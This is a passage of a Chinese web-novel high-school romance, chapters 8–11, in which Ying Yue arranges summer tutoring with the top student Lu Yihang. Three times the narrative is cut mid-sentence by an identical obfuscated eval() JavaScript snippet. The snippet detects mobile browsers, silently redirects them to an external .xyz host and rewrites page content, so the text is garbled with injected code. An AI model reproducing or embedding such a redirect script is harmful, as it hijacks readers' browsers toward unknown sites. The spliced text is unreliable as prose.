路一航一只手里提着她的书包,又把石昭手里的编织袋也接过去。 他打的出租车已经停在路边,路一航对应悦唤了一声,“过来。” “唔哇~”石昭和于澜不算夸张地小起一哄。 “来了!”应悦捂着脸跟了过去。 8. 第 8 章 出租车后排的座椅并不宽敞,应悦觉得车厢里满是路一航的气息,一种属于男孩子的有些侵略性的气息。 他拿手机跟家里发了条消息,放下手机的时候顺势看了她一眼,问她:“很热?” 她的脸从在台球厅的那时候就挺红的。 应悦还没说话,前排司机听见了,很贴心地把车窗升上去,开了空调。 有凉风吹出来,车里很快变得凉爽。 应悦后知后觉回答了句:“不很热。” 路一航又看了一眼她的脸,他看得认真,应悦被他这么盯着,连耳朵和脖子也一起热了。 她肉眼可见的红温,路一航似乎终于反应过来她是在害羞,食指像是发痒一样,被他用拇指指甲掐住,生硬地扭头看车窗外。 直到车子抵达应悦家小区,车厢内的灯自动亮起来的瞬间,他在玻璃窗上看见自己嘴角噙着笑意的倒影。 - 返校看成绩拿分班表的那天,应悦没见到路一航,他那天请假没来。 人虽然没看到,名字倒是见着了,在年级大排行里显眼地占据着榜首的位置,而且是以跟第二名拉开巨大的分差优势的那种。 应悦看看他,再找找自己的名字,只能说人跟人之间的差距是远隔着太平洋的。 她一边“望洋兴叹”,一边拿着笔数自己的名次,因为涉及到分科分班,这次的成绩单按文理和总分给了三版排名,应悦的文科排名要比理科高,但还要考虑到文科班次比理科设置的少,所以这排名也仅作参考。 要想挤进尖子班,不是毫无可能,只是比较悬。 徐莉莉比应悦考得好一些,但也没好到哪里去,同样忐忑不安怕进不去尖子班。 她甚至在求神拜佛空口许愿:“菩萨保佑,我愿意一个月不看□□只看清水。” 应悦嫌弃地瞅她,头一次听人许愿“吃素”是吃这种素的。 就这,徐莉莉都没能坚持住原则,重新改口:“我愿意一个月荤素搭配,少看□□!” 应悦:…… 或许是面临高考选择的关卡比较重大,应悦的爸妈都出现在了晚饭后的客厅沙发上,一家人难得整齐聚首。 上次爸爸说妈妈是临时有事去了姥姥家,据应悦观察,应该是爸妈吵架把妈妈气得离家出走了。之后这俩人冷战了一段时间,最近好像关系有所回温。 应悦人小言微,也不知道怎么劝和大人的事。 应妈比较关注孩子的学习,对比她的成绩单后,质疑怎么比期中考试后退了那么多名。 应悦:“因为这次的试题很难,很多大题我只拿了第一小问的分……” 应爸看女儿越说越小声,拍拍她的背,“没事啊,考试就是这样的,一半努力,一半运气,说不定最重要的那次考试就让你全蒙上了呢!” 应妈不认同:“考试是要考的,怎么能靠懵呢?你问问人家考第一名的,他也是蒙的吗?” 怎么忽然提到第一名啊,应悦想起被夸赞的路一航,不知道为什么与有荣焉,想笑。 应爸:“已经考完了,你说这样也没意义啊,你看孩子都让你训得脸红了。” 应妈:“还知道羞呢,好事,知耻而后勇明白吗?下次要更努力!” 应悦的脸红一会儿,白一会儿的,把话题转向正事:“那我选文还是选理呢?” 应爸问她更喜欢哪一科,应悦想了想说:“我最喜欢语文,其他的没什么感觉,都行。” 应妈数落了句:“喜欢能当饭吃吗?” 她把琴高这些年的教学成果拿出来说话,总体来看还是理科更有优势,理科老师有很多教学骨干和省优,学理以后选专业、找工作也更多选择。 她都已经这么细致地做了工作,应爸和应悦当然没法反驳。 就这么着,一家人在分科表上填好了志愿,原地解散。 应悦回了房间就给路一航发了条信息,“我填好表了,选理科,你呢?” 路一航的Q好像一直在线,秒回:“理科。” 应悦最近几天都没找过他聊天,怕太唐突,也怕没话找话被他嫌烦。 这次是有正经话题的! 应悦:“但愿能混进尖子班,我一定改过自新,好好做人。” 路一航:“好好做题比较有用。” 应悦:“那是我不想好好做吗!那是题不好好给我做!” 路一航:“嗯,题坏。” 应悦:……? 她看着这句回复,感觉自己不识字了。 什~么~呀! 应悦咬着拇指,对着手机屏幕傻笑,不知道该回什么,生硬地问他家长会那天去不去学校。 路一航:“不去,请假了。” 应悦:“你干嘛去了呀?” 路一航:“在美国,下周回去。” 应悦上网搜了一下美国时间,他们隔着十二小时的时差。 也就是说,白天的他正在跟黑夜的她聊天。 好奇妙的感觉。 话匣子忽然被打开,应悦好奇地问他美国好不好玩,问他去干什么,也问他都去了哪些地方。 路一航一一作答,只是依旧言简意赅,看起来并没有因为出国旅游而兴奋。 家长会那天,应悦见到了路一航的妈妈。 虽然不同班,虽然没人介绍,虽然只是在走廊里草草一瞥。 但应悦就是认出来那是路一航妈妈了,仅仅凭着几分眉眼的相似。 应悦觉得奇怪,她记得路一航说他去美国是“探亲,我爸在这边”,先入为主地就以为他妈妈应该也一起去了,没想到会在学校碰到她。 路一航的妈妈是应悦在现实里见过的最美的女人,不局限年龄,她美得像那种大明星,从头发造型到高跟鞋的碎钻,无一不精致。 少女被美所震撼,是一种突然开窍的感觉。她那天晚上甚至梦到了路一航的妈妈,梦里她也穿着路妈妈的那条花色长裙,踩着银色的细高跟鞋,涂着艳丽的口红。 只是她这梦做得有三分真实,低头看看自己平如飞机场的胸口,就觉得那裙子套在自己身上像是套了个睡衣麻袋,毫无玲珑曲线可言。 场景又变化,好像回到了那个沉闷低矮的台球厅,弯腰打球的性感皮裙姐姐换上了应悦的脸,身后抱着她的男人则变成了路一航。 他的两只手分别握在她的手上,胸口贴着她的后背,压着她击球的时候,腿上肌肉的温度传到她的腿根,让她软了脚,乱了呼吸。 应悦猛然睁开眼,感觉心慌得厉害,心跳声像是鼓动她的耳膜,可梦里残存地那种幸福甜蜜依旧萦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543304|171086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绕着她,让她想要闭上眼睛接续那个美梦。 接觉失败,再睡不着了。 应悦遗憾地躺着伸了个懒腰,起床拉开窗帘看外面,天光大亮,但时间不过早上六点半。 可恶,上学的时候起不来,放假的时候又睡不着。 她换好衣服去吃早饭,爸爸又出差了,妈妈坐在餐桌前自己吃饭,看到她还挺惊讶,“起这么早啊,还想让你多睡会儿。” 应妈今天休息,说着自己的计划,要带她去一个口碑很好的补习班试听,“你试试小班课能不能跟上,要是效果不好就选个一对一。” 应悦这些年都是自己学,从来也没费家里的钱上过什么补习班,只是考进了重点高中才知道天外有天,连她妈都跟着上心起来,要她利用假期“笨鸟先飞”、“弯道超车”。 应悦服从安排,跟在妈妈身边去听课,看她妈堆着笑奉承那位据说是很出成绩的教学能手时,心里有点不是滋味。 她跟着听了一次班课,又单独上了一节一对一,教的内容和方法区别不大,只是不知道是不是为了逼单卖课,老师总会有意无意对着她叹气,一副她基础太差了的样子。 但又不说她不好,话里话外很有自信能把她教出来。 回家路上,应妈问女儿补课的感受,应悦实话实说,不喜欢那个老师。 应妈却认为孩子是贪玩不想学习,已经打算给她报满整个暑假班了。 应悦不高兴:“你总是这样,假装问我的意见,其实都决定好了,那你还多此一举问我干嘛?” 应妈:“我多此一举?我费心费力为了谁啊?小兔崽子真没良心!” 应悦也只敢顶这一次嘴,抱怨完了就不再说了,跑回卧室去自己生闷气。 她跟路一航说:“我讨厌补课老师!” 但路一航那边是凌晨,没有回她。 应悦的满腹委屈只能自己消化。 等到晚上,事情出现了转机。 班群里发来了分班名单,原本不报希望的应悦,因为这次排名靠前的好多人选择了文科班,狗屎运地进入了尖子班! 虽然是尖子班的倒数第二名吧,但那也是进了! 路一航也起床了,醒来看见消息就回了她:“那就换一个。” 应悦已经忘了中午的不愉快了,她现在更想跟路一航分享分班的好消息:“啊啊啊我进尖刀班了!咱俩一个班!” 路一航:“恭喜。” 应悦一遍又一遍去看那个分班名单,看得多了,才发现一些新端倪。 排在她后面的那个吊车尾,居然是“于澜”。 她圈出来名单问路一航:“这是你那个同桌吗?” 路一航:“是。” 应悦觉得要对于澜刮目相看了,他不是体育生吗,居然学习成绩也这么好? 不过近朱者赤,也可能是在路一航这个学霸旁边跟着一起好好学习了吧。 再一想,如果体育生都能被路一航带飞的话,那她是不是…… 应悦大胆地问路一航:“你暑假有空吗?可不可以帮我补课啊。” 一秒,两秒,三秒…… 眼前像是有不存在的秒针在走。 他的头像晃动,像是那两条金鱼游了起来。 路一航回:“可以。” 9. 第 9 章 路一航答应得这么爽快,应悦反倒不知所措了。 她又兴奋,又扭捏,再度确认:“真的可以吗?” 路一航:“嗯。” 应悦坐在书桌前的转椅上,高兴得原地打了个转儿,晕乎乎的感觉让人如坠梦境。 接下来该怎么办呢? 是不是要商定一下时间地点?还有补习的科目内容? 应悦的脑子里瞬间塞满了各种表格,大大小小的框住她,让她理不出个头绪。 她还要先征询路一航的假期计划,但他好像在忙,只是说了一句“你看着安排”,就匆匆道别要出门去了。 他可能真的在忙,但应悦就像一株含羞草,被外力碰一下就会把张牙舞爪的叶子卷成一团,胡思乱想着,想他是不是不耐烦了,想他会不会答应了又有点后悔。 应悦在书桌前发了会儿愣,下定决心一般,既然他已经说了会帮她补习,那她就死皮赖脸地当他非常乐意好了! 一切都是为了学习成绩!她可以牺牲一点矜持和脸面! 把自己哄好,应悦屁颠屁颠地跑去找她妈。 应妈正在厨房收拾食材,她要上班,又怕应悦自己在家只吃零食泡面什么的,就先把几天的肉都炖好,这样起码她吃面条有个卤。 应悦看到妈妈忙前忙后的身影,又觉得自己之前对她的态度有些过分。 她靠过去,也不说话,就跟着她妈走来走去的,帮忙递个勺子什么的。 应妈没好气地瞪她一眼:“你在这里碍手碍脚的,干嘛?” 应悦不好意思地叫了声“妈”,过去挽住她妈胳膊,晃了晃。 应妈哪里会真生女儿的气,哼了一声,转移话题说着给她做的饭都放在冰箱哪一格里。 应悦安静听妈妈说完,然后跟她分享了自己分进尖刀班的喜讯,又说让她不要花钱报班了,“我找了同学帮我补习,他成绩很好的!” “谁呀?徐莉莉吗?”应妈那天家长会跟徐莉莉妈妈相谈甚欢。 应悦一听这话,立马拉徐莉莉下水,“嗯嗯,她也在!我们几个同学一起学习。” 应妈有点动摇,她也知道如果应悦很抵触那个补习班的话,去了也听不进去。可她又担心应悦浪费了大好的假期,“你们人一多,就容易玩。你要知道,这高考看着远,说来也就来了……” “不会的!我们都有数!会好好学习的!”应悦连忙保证,“老师都说了高考就是马拉松,别只顾着起跑的时候把力气耗光,还要拉长线冲终点!弹簧要是太用力拉也会失去弹性的!要张弛有度!” 应妈:“你这小嘴,说起道理来一套一套的。” 应悦:“你也觉得有道理是吧!” 最后她软磨硬泡地让妈妈答应了不报补习班,由她自己跟同学去找地方学习。 因为已经提到徐莉莉,应悦就给徐莉莉打了电话,说自己找路一航补课,要拉她入伙。 徐莉莉一口就答应了,这种好事还犹豫什么,她问应悦给路一航付多少课时费,她也随一份。 这话把应悦问住了,她压根没想过,应该给路一航付学费。 她的沉默,让徐莉莉也梗住,老话重提,“应悦,你是真的有什么系统金手指吧?这一个两个的都往你身边贴?我就说吧,路一航绝对是对你有意思!” 和之前提到体育生的时候不同,应悦听徐莉莉这么说没觉得心烦,只觉得害羞,害羞之余居然还想听她再多胡说几句。 学费暂且不提,徐莉莉作主去找场地了,她家里就是做场地租赁生意的,很轻松地找到一个合适的小会议室用于补课。 应悦觉得这挺好,本来她以为他们要去麦当当凑合一下的。 隔天,应悦就把课表安排还有会议室地点发给路一航,问他这样行不行,又问他介不介意多一个旁听生。 她也觉得自己好像有点得寸进尺了,忐忑地跟他说:“如果你觉得太麻烦的话,也可以反悔的。” 路一航:“挺好的。” 这是个什么评价? 应悦不太理解,是说安排挺好,还是多个旁听生挺好?她想了很多,但重要的是他没反对,那就这么定了吧! 知道路一航刚刚回国,应悦留出时间让他休息倒时差,约好了下周一开始补课。 应悦:“下周见!” 路一航没道别,回了一个企鹅跳跳的表情。 应悦每次看到这个小企鹅都觉得可爱,跟路一航那个人的冰块气质简直没半毛钱关系。 - 星期一的早上,应悦比闹钟还要早醒五分钟。 她洗漱好,换上自己最漂亮的粉色蛋糕裙,对着镜子臭美了一会儿,又觉得这样有点浮夸,不太想要去补课的样子。 思来想去,她换了一身简单的,牛仔短裤和白色T恤,T恤中间是一只简笔线条勾勒的小猫。 因为是第一次去,应悦有点迷路,在小广场找了一圈才找到那间商户,进门的时候徐莉莉已经等候多时了。 应悦把书包一放,就哇哇惊叹:“好漂亮呀!” 这间会议室没什么特别的,只摆了一张椭圆形长桌和靠墙的书架,房间不大,但有个几乎横跨满墙的长方形玻璃窗,窗外是葱绿树枝,再往远处就是海滩。 徐莉莉对她的反应很满意,不枉费自己大费周章地赖着老爸把这间会议室给她用。 她俩叽叽喳喳地说着话,在窗边拍漂亮的海景照片,敞开的门口响起脚步声。 应悦下意识地回头看。 是路一航。 因为逆着光,应悦第一眼没看清他的脸,只看到他穿了一件白色无袖的T恤,及膝的牛仔裤。 他抬手把头上的鸭舌帽摘下来,这下应悦能看清他的眉眼了,一段时间没见,他好像更成熟了些,带着让她陌生的男人气质。 路一航还没开口打招呼,他身后窜出来的于澜先挥起手来:“哈喽哈喽~” 应悦回神,说了声“嗨”,眼睛却依旧是瞟向路一航的。 路一航把手里的帽子往耳朵上一盖挡噪音,对于澜的嫌弃显而易见。 于澜背着手在这房间里绕了一圈,满意地点点头,“真不错,听说你们要一起补习写作业?加我一个呗。” 应悦还以为于澜是路一航带来的旁听生,就像她带着徐莉莉一样,可是听到于澜这么说,又有点迷惑了。 她看路一航,路一航回望了她一眼,并不解释,让于澜自己跟她们说,“你看她俩愿意吗?” 原来是碰巧遇上的,于澜跟石昭在海边玩沙滩排球,眼尖地看到了路一航,一路聊着跟了上来,把石昭一个人扔在海边——石昭压根也不想来学习。 应悦看徐莉莉,让她拿主意。 徐莉莉就跟于澜说:“路一航是老师,应悦是组局的,我出场地,你也不能白来占便宜是吧?要不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543305|171086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你每天请我们喝饮料?” 于澜:“成交!” 他高兴地跟他们约定好,因为今天没带书,先去楼下继续找石昭打球,明天再来学习。 人走了,门关上,屋里安静下来。 徐莉莉和应悦之前已经商量好了补课的章节,现在拿出笔记本和书来,抬头齐刷刷看着路一航。 路一航沉默以对。 他并不是很一个很合格的老师,因为他不知道从哪里开始讲,他觉得书上都说得很明白了。 干咳了一声,路一航开口:“你们先做题,哪里不会再问我。” 这样也好,更有针对性。 路一航空手来的,什么都没带。 他坐着,看对面的应悦和徐莉莉一起伏案写作业。 主要是看应悦。 路一航感觉应悦好像变得更白了,她的耳廓圆圆的,粉粉的,被明亮的光照着还能看见一点小绒毛。 不知道是不是因为一直看着被应悦感应到了,她忽然抬起头,闯进他的视线。 路一航信口问了一句:“还带别的作业了吗?” 好像他看她就是在等着问这件事。 “有的。”应悦从书包里抽了一沓英语卷子给他,“你要帮我写作业吗?” “想得美。”路一航表示只是想先借用,“明天把我的给你。” 应悦有些惊讶:“你也会写作业?” 路一航抿嘴,反正闲着也是闲着,“嗯。” 徐莉莉偷偷看了看这俩人,笔尖刷刷在纸上落下痕迹,直觉他们有点猫腻。 因为路一航不爱说话,他们仨的补习就是安安静静写作业,有不明白的才要路一航讲解,效率高得惊人。 傍晚要回家了,徐莉莉说她在这边等她爸来接,还要换钥匙。 应悦跟路一航便先离开。 他俩这一天其实没说几句话,此刻单独相处,才觉得氛围有几许不同。 应悦仰头看他,小声问:“你是不是又长个儿了啊?” 路一航:“不知道,没量。” 户外的木头楼梯很矮很长,踩上去总觉得有些软塌塌的。 应悦看他俩的衣服是同色的,裤子也是同色的,连运动鞋都是同色的。嗯,她也要去搞个天蓝色的鸭舌帽戴戴…… 路一航忽然说了声:“小猫。” 应悦以为他叫自己,又以为是说她衣服胸口上的图案,红着脸拐着弯“啊”了一声。 路一航却指着台阶下面的草丛,又说了句:“小猫。” 应悦看过去,确实有只大橘猫,四爪朝天伸懒腰,见到人也不怕,还冲他们喵喵叫。 路一航驻足看了看那只猫,走几步就有便利亭,他去买了根淀粉肠,回来撕了皮把香肠掰碎扔到小猫面前,给它吃。 应悦因为刚才的乌龙有点不好意思,现在回过神来,看着他喂猫的样子,说:“你应该叫路一善。” 路一航拿湿巾把手指头一根根擦拭干净,回头看她,“嗯?” 应悦解释道:“同学找你补习你也答应,多两个人你也答应,路上见到猫也会喂。路一航日行一善,简称路一善,嘿嘿。” 之前她还以为他是个冰山,实在难以想象他这么好说话。 应悦仰着脸,对他笑。 “嘿嘿个头。”他屈起食指,忽然在她头顶敲了一下。 然后也跟着弯了嘴角。 10. 第 10 章 于澜的加入让补习小组变得热闹了一些,但这热闹也有限。 因为有路一航坐镇,他简直比训导主任还有威慑力,偶尔徐莉莉叽叽喳喳说起废话没个尽头的时候,路一航只是冷冷看她一眼,她就不自觉噤声了。 徐莉莉跟应悦去上厕所的时候,偷偷说:“真奇怪,我怕他干嘛呢?” 应悦点头:“你可能怕把他惹烦了,他不给我们补课了吧。其实没关系的,他可善良了,我也发现我以前对他有些误解。” 徐莉莉一言难尽地看着姐妹:“大NO特NO!我觉得你这段话才是对他的误解呢!” 应悦不跟她辩论,反正现在这样就很好。 他们每天待在这小小的会议室里也不觉得憋闷,写作业的效率极高,徐莉莉和应悦把各自那一周的学习成果拿给家长看的时候,小山高的本册获得了家长的赞许。 应妈看女儿写得满满当当的作业,放下一半的心,不论应悦有没有提高,总归没有浪费时间,是在学习的。她提醒应悦不要骄傲,不要半途而废,行百里者半九十,后面的假期也得这么用功。 徐莉莉的爸爸高兴得更直白,哪次女儿不得拖到放假最后一周才熬夜赶作业呢,如今这么勤奋,当然要好好表扬嘉奖!她爸给了她一笔零花钱,让她请同学们吃大餐。 徐莉莉也不藏私,大方地问其他几人想吃什么:“要不我点两个全家桶?” 于澜:“天天吃汉堡还没吃够啊?” 他们在这边学习,一待就待着一天,除了应悦偶尔自带盒饭,其他人午饭都是点外卖,常点的也就那几样。 徐莉莉又提议:“那要不去吃海鲜烧烤?我每天下午往回走的时候,闻着那边那个烧烤香料的味道都馋得流口水!” 于澜:“这个好!” 应悦先去跟妈妈发消息交代了一声,晚上想跟同学吃了饭再回去,应妈叮嘱她别玩太晚早点回家,又给她转了点零花钱,让她别叫同学破费。 得了批准,应悦兴奋地跟徐莉莉击掌。 只剩路一航还没开口。 大家都看向他,他点点头,反正他家里没人,在哪里吃都行。 因为说好了晚上要一起吃烧烤,没什么定力的“学生”开始频频走神,应悦听着徐莉莉和于澜几次小声交谈晚上的菜单,也跟着一起期待。 路一航看应悦半个小时都没解出来那道物理大题,说了句:“别写了。” 应悦吓一跳,以为是自己的不专心让路一航生气了,小心看他一眼,赶紧在草稿纸上画受力分析图。 路一航又说:“今天不写了,休息一下吧,明天再学。” 这次的语气柔和了几分,甚至是说了很长一句话来解释自己的意思。 应悦提着的心落回去,讪讪地对他笑。 徐莉莉最开心,一秒钟都不拖沓,马上收拾书包要走。 才下午四点钟,太阳还挂得老高,走两步路都要满脸汗。 他们去了附近海滩上的一家大排档,坐在有遮阳伞的躺椅上,拿着冰镇的椰子喝汁。 于澜说石昭快到了,约了几个人来打球,可以一起玩。 大排档旁边就是更衣室,还有很多有排球网,打球的人跟下海的人都数不胜数。 徐莉莉跟应悦遗憾地说着早知道应该带泳衣来的,这样她们还能去玩玩水。 应悦摇头,“我们是来补习的,要是我妈看到我出来玩……” “好好好,你是妈妈的乖宝宝!”徐莉莉打断她的说教,兴高采烈地跟着于澜去玩排球。 石昭还有几个男生很快也出现在面前,他们直接去换了衣服,赤着上身只穿沙滩裤,和这海滩上的大部分人一样。 路一航也被拉过去凑人数。 他穿着浅蓝色T恤和中等长度的黑运动裤,在沙滩跑动、跳跃。 天热,运动量又大,没一会儿他后背就被汗湿,衣服上一团深蓝。 队员去远处捡球,路一航原地站着等,顺手撩起衣服下摆擦了擦额头的汗。 总共没有一分钟。 可是应悦看到了,看得清清楚楚的。 因为她全程全场就盯着路一航呢。 衣服掀开的瞬间,她看到了他的侧腰和小腹,运动状态使得肌肉充血,腹部好像有不太明显的块状纹理,劲腰绷着拉伸有力。 他比场上那些打赤膊的男生都要白,即使是在黄昏日光希微的背景下,也晃得人眼前一亮。 因为白,应悦还看见了胸口深色的突起…… 咳咳,应悦咬着嘴里的吸管,椰子水都没法滋润发干的嗓子。 明明满场都是光着膀子的男生,甚至还有身材很好的成年大哥,但应悦还是被那匆匆一瞥羞红了脸。 可能是她的视线太有如实质,路一航擦完汗,朝她这边看了一眼。 看到她捧着个大椰子,呆呆盯着他。 路一航想到什么,也不自在起来,本来还想把衣服脱了,现在却是把衣服往下拽得板板正正。 之后这件T恤就焊在他身上了,无论多热他都没再往上掀一丝一毫。 应悦更不好意思了,怎么他好像在防着自己偷看似的,难道她表现得很像变态吗? 太阳完全落山,天空变成紫橙渐变的色彩,沙滩排球这才散场。 路一航去更衣室冲了凉,还从店里买了件白色的工字背心换上。 这种背心挺凉快的,海边好多大爷穿,俗称“老头衫”。 路一航看应悦一直对他笑,低头看看自己的衣服,问她:“很好笑吗?” 应悦摇头,依旧是笑,“挺帅的。” 他个子高,衣服架子似的,穿什么都有型。 徐莉莉点的海鲜蒸汽锅已经上桌,加上石昭一共五个人,围坐在不太大的小木桌上,只看那一国价格不菲的海鲜,半大青年们肯定是吃不饱的。 徐莉莉聪明地点了五份蛋炒饭。 石昭吐槽:“直接点一桶白米饭呗,更便宜。” 徐莉莉:“你搞清楚哦,如果你不来蹭饭,我们人均还能多吃点。” 石昭闭嘴,专注干饭。 应悦和路一航挨着坐,这方便了她观察路一航的喜好,她发现他会吃扇贝类的,但不吃虾。 大排档很吵,还有唱歌走调的大叔在自动点歌机那里一首连着一首地嗨唱,同桌说话都要靠吼,应悦侧身,凑过去小声问路一航:“你不喜欢吃虾?过敏?” 路一航也歪着头,听她说话,听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543306|171086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清了摇了摇头,“不过敏,嫌麻烦。” 嫌剥壳会弄得汤汁到处流,手上有味道。 应悦“哦”了一声,没再跟他说悄悄话,听徐莉莉和石昭还有于澜斗嘴,跟着一起吃一起笑。 只是她手下不停,眼睛看着对面,偶尔低头看一眼把虾头拧掉,手指娴熟地剥壳揪虾线,一会儿功夫就剥好了五只虾肉,排成一队放在一次性的塑料餐盘里,悄悄推到了路一航面前。 路一航一低头,看到面前的盘子,有些诧异。 他看应悦,应悦不看他,目视前方和人笑着聊天,他再看她,她耳朵缓缓变烫,像是被海风吹得发痒,忍着没有伸手去挠。 路一航便也不问了,拾起筷子把盘子里的虾肉夹进嘴里,一口一口慢慢咀嚼。 等应悦端起橘子汽水喝的时候,装作不经意地瞥了眼那个塑料餐盘,已经空空如也了。 - 暑气一日热过一日,四个人为了躲避白天的大太阳,开始早出晚归,简直比上学的时候还勤奋。 这样又集中学习了半个多月,居然就把假期作业全写完了。 距离开学还剩二十天,应悦感觉这段时间的查缺补漏已经让她的学习有很多进步了,后面她计划预习高二的课程。 徐莉莉听说她还要继续学,提醒路一航:“航哥你小心点,应悦野心忒大,想要篡夺你第一的宝座!” 于澜也跟着附和:“就说‘教会徒弟、饿死师父’吧!” 应悦被他们打趣得有些局促,搬出她妈教训她的话说:“我这是笨鸟先飞,弯道超车!” 沉默的路一航开口:“你不笨。” 应悦:“……” 徐莉莉跟于澜两人隔着长桌子互相挤眉弄眼,都是不敢当着路一航面说出口的揶揄。 跟应悦的好学不同,徐莉莉是不想再用功了,她要跟小姨他们出去旅游,抓住假期的小尾巴! 于澜也说要回乡下奶奶家去住一段时间,陪陪老人。 互助学习小组宣布就地解散,四个人点了大满贯奶茶当作散伙饭。 最后一天也是要等太阳下山再回家,避暑气。 午饭后他们各自伏在桌子上休息,其他三人都睡着了,只路一航因为奶茶里的咖啡因睡不着。 他枕着胳膊,面朝应悦的方向看。 她睡着的时候脸颊一团肉被挤压出来,看着嘟嘟的。 不知道做了什么梦,似乎是不那么愉快,因为她的嘴也嘟嘟撅着。 路一航觉得自己形容词真匮乏,对她整个人的评价就一个词:嘟嘟的。 午后的阳光从很大很大的玻璃窗透进来,应悦在如画的背景下沉沉睡着。 梦里的她忽然一个激灵,毫无征兆地睁开眼睛,瞪得又圆又亮,跟正看着她睡觉的路一航恰恰对上。 不等应悦反应回神,路一航若无其事地闭上了眼睛,连呼吸都平静绵长。 好似一切只是应悦的幻觉,他一直都在午睡。 但是不对劲。 应悦伸长手臂,手指刚好能碰到路一航。 她戳了戳他的脸。 路一航依旧闭着眼,用拙劣的演技假装感觉不到,翘着嘴角转了个头,留给她一个后脑勺。 11. 第 11 章 这个假期仿佛格外漫长,没有什么杂事烦扰,也没有多少让人不愉快的事情发生。 但假期快收尾的时候,应悦才感到深深地不舍,或许是每天都在学习,而相似的事件不断重复就会给人时空压缩的错觉。 她忽然觉得这个暑假“嗖”的一声就要从她面前溜走了。 自己在家预习新课的速度并不快,也是因为她爸提过一次,要她劳逸结合别太累,应悦就光明正大地每天拿出半天看看电影电视剧。 偶尔她会想路一航在干嘛,是不是也像她这么无聊。 她绷着小脸做课后习题,总算给她逮到一道不会的题目,拍个照发给路一航求解。 路一航给她回了个语音通话,三言两语说了解题思路,在她的懵然里又捕捉到其他的知识漏洞,思考了片刻,问她要不拿着书来找他吧,“我给你梳理一下这类题型。” 应悦:“好呀好呀。” 再要借用小会议室肯定不合适,找个快餐店或是咖啡厅倒是可以,就是不知道离他家远不远,会不会太麻烦。 应悦家住哪里路一航是知道的,所以要挑个居中合适的位置,就得她问他:“你家住哪里啊?” 路一航报了个小区名字,似乎误解了她的意思,“你来我家?” 应悦:…… 少爷这么懒,一步都不想走吗? 应悦看向窗外的大太阳,确实很热。 既然是她求助于人,那折腾一点好像也很合理。 应悦:“方便吗?你家有人在不?” 路一航倒挺大方,“方便,没人。” 应悦换了条出门穿的裙子,背着书包去打车,太晒了,她也不想挤公交。 出门的时候还坦坦荡荡,想的是学术探讨。 等到了路一航家门口,应悦才有些退缩,觉得自己这样贸然登门是不是不太合适。 没等她纠结几秒,面前的铁艺大门后走来熟悉的人影,路一航出来接她了。 几天不见,他看到她居然露出个和煦的微笑。 应悦对着他那张帅脸咽了口唾沫,心想:来都来了,为了学习! 她发呆的样子似乎让路一航觉得更想笑,门拉开,他叫她名字,“进来呀,晒晕了?” 应悦的手自作主张摸着自己的脑袋,“是有点中暑的感觉,都入秋了,怎么还这么热啊,哈哈哈……” 路一航没回应她的尬聊,引着人穿过小小的花园,进到小洋楼里。 这个小区的房子都是这种两层高的复式楼,带着小花园,尖顶下应该是阁楼,看起来精巧又舒适,应该挺贵的。 不过这个年纪的少年少女倒没想那么多家境的差距,应悦只是四下打量着路一航家的装饰,夸道:“你家真漂亮。” 路一航打开门口的鞋柜,拿出一双新的凉拖,弯腰放在应悦面前。 应悦看他这样低着头,有些不好意思,脚趾头都不自在地缩了缩,脱凉鞋的时候特别忐忑,就怕这一路走来出了汗有味道。 等路一航转身走向客厅,应悦才飞快把鞋换好,然后把自己那双银色宽边带的凉鞋远远地放到门口位置,摆正。 她往屋里走,走过一小段玄关走廊,转过弯是偌大的客厅,让人不自觉仰起头看高高的吊灯,还有旋转的木质楼梯和二层长廊。 应悦的视线被电视墙边的鱼缸吸引,她认得,这是在她表姐家买的。 应悦走到鱼缸旁边,鱼缸放在靠墙的高脚桌上,高度跟她的视线平齐,她盯着那两条似乎是变肥了的兰寿金鱼看,像是跟老朋友对话:“嗨~还记得我吗?” 小金鱼张着圆圆小嘴,似在回应。 “来喝水。”路一航叫她。 应悦回过身子,看到路一航端着个托盘,正把杯子和小蛋糕一样样放到茶几上。 不知道为什么,这样居家的路一航看起来好像那种成熟的大人,让应悦有点不敢对视。 她应了一声,走到沙发边坐下,先端起来透明的玻璃杯看了看,杯子里有气泡,还有两颗切半的绿色圆球。 “苏打水。”路一航解释,也是拿冰块的时候看到水果冰,临时起意,觉得她喜欢葡萄味,“那个是葡萄冰,不知道放进去好不好喝,你尝尝。” 应悦喝了一口,葡萄味很淡,几乎可以忽略,就是苏打水的味道。 她客气地点头,“挺好喝的。” 路一航又跟她介绍桌子上的两样甜品,“芒果班戟,草莓卷。阿姨早上做饭的时候做的,我不是很爱吃甜食,你吃吧。” 他今天好像很健谈嘛,比起平时,话多了许多。 